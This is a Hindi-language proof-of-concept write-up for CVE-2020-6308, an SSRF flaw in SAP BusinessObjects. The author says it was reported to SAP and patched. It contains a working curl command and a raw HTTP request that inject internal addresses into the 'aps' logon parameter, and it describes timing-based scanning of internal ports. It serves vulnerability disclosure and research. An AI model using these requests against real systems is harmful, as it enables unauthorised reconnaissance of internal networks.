
PoC CVE-2020-6308
SAP BusinessObjects Business Intelligence Platform (वेब सेवाएँ) संस्करण - 410, 420, 430, एक अप्रमाणित हमलावर को CMS पैरामीटर के रूप में मनमाने मान इंजेक्ट करने की अनुमति देता है ताकि आंतरिक नेटवर्क पर लुकअप किया जा सके जो अन्यथा बाहरी रूप से सुलभ नहीं है। प्रश्नों के लिए ट्विटर पर मुझे फॉलो करें या DM करें: https://twitter.com/initroott
मैंने मई 2020 में SAP को समस्या की सूचना दी और अक्टूबर 2020 में पैच जारी किया गया। आप आगे बढ़कर अपना स्वयं का PoC विकसित कर सकते हैं, हालाँकि, मैं कुछ पृष्ठभूमि प्रदान करूँगा। CMS फ़ंक्शन दिए गए पते को मान्य नहीं करता है। यदि होस्ट फ़ायरवॉल सही ढंग से कॉन्फ़िगर नहीं किया गया है, तो अनुरोधों से प्राप्त प्रतिक्रियाओं के आधार पर पोर्ट या आंतरिक नेटवर्क को आसानी से फिंगरप्रिंट करना संभव है। मैं नीचे दिए गए उदाहरण में दिखाऊंगा कि आप CuRL अनुरोध का उपयोग करके खुले पोर्ट कैसे देख सकते हैं। नीचे दिए गए उदाहरण में मेरे पास एक SAP होस्ट (192.168.0.191), हमला करने वाली मशीन (192.168.0.149) और एक अन्य उपकरण जैसे आंतरिक राउटर (192.168.0.1) है।
हमारे SAP होस्ट पर निम्नलिखित पोर्ट खुले हैं:

और हमारे आंतरिक राउटर पर निम्नलिखित खुले हैं: 53,80,34573

तो चलिए इसका परीक्षण करते हैं, हम अनुरोध प्रतिक्रिया के समय के आधार पर खुले पोर्ट की पहचान कर सकते हैं। नीचे उदाहरण दिए गए हैं:
time curl -i -s -k -X $'POST' \
-H $'Host: 192.168.0.191:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/x-www-form-urlencoded' -H $'Content-Length: 120' -H $'Origin: http://192.168.0.191:8080' -H $'Connection: close' -H $'Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp' -H $'Cookie: JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' -H $'Upgrade-Insecure-Requests: 1' \
-b $'JSESSIONID=8EE4AA85EB930DEB7090187F4CB4711B; developer_samples_app_lastusr=admin; developer_samples_app_lastaps=192.168.0.191; developer_samples_app_lastaut=secEnterprise' \
--data-binary $'aps=192.168.0.1:53&usr=admin&pwd=&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp' \
$'http://192.168.0.191:8080/AdminTools/querybuilder/logon?framework='
निम्नलिखित पेलोड का परीक्षण:
यहाँ आप बंद पोर्ट परीक्षण समय परिणाम देख सकते हैं, औसतन लगभग 5ms..

यहाँ आप खुले/फ़िल्टर किए गए पोर्ट परीक्षण समय परिणाम बहुत बड़े देख सकते हैं..

अब नीचे दिया गया आदर्श नहीं है, क्योंकि विभिन्न रूटिंग, कुछ फ़ायरवॉल परिणामों को प्रभावित कर सकते हैं। हालाँकि, यह आपको एक विचार देना चाहिए कि बेहतर एक्सप्लॉइट बनाने की शुरुआत कहाँ से करें.. उपरोक्त को एक बेसलाइन बनाकर और फिर वहाँ से आगे काम करके समायोजित किया जा सकता है। मैं निश्चित रूप से एक लिसनर सेट करने और फिर देखने की सलाह दूंगा कि क्या होता है।
नीचे दिखाया गया है कि Burp में अनुरोध कैसा दिखेगा जिसमें APS पैरामीटर कमजोर इंजेक्शन बिंदु है। सरल PoC एक कैनरी टोकन मान इंजेक्ट करना और ट्रिगर की प्रतीक्षा करना होगा..
POST /AdminTools/querybuilder/logon?framework= HTTP/1.1
Host: 192.168.0.191:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
Origin: http://192.168.0.191:8080
Connection: close
Referer: http://192.168.0.191:8080/AdminTools/querybuilder/ie.jsp
Upgrade-Insecure-Requests: 1
aps=192.168.0.191&usr=admin&pwd=admin&aut=secEnterprise&main_page=ie.jsp&new_pass_page=newpwdform.jsp&exit_page=logonform.jsp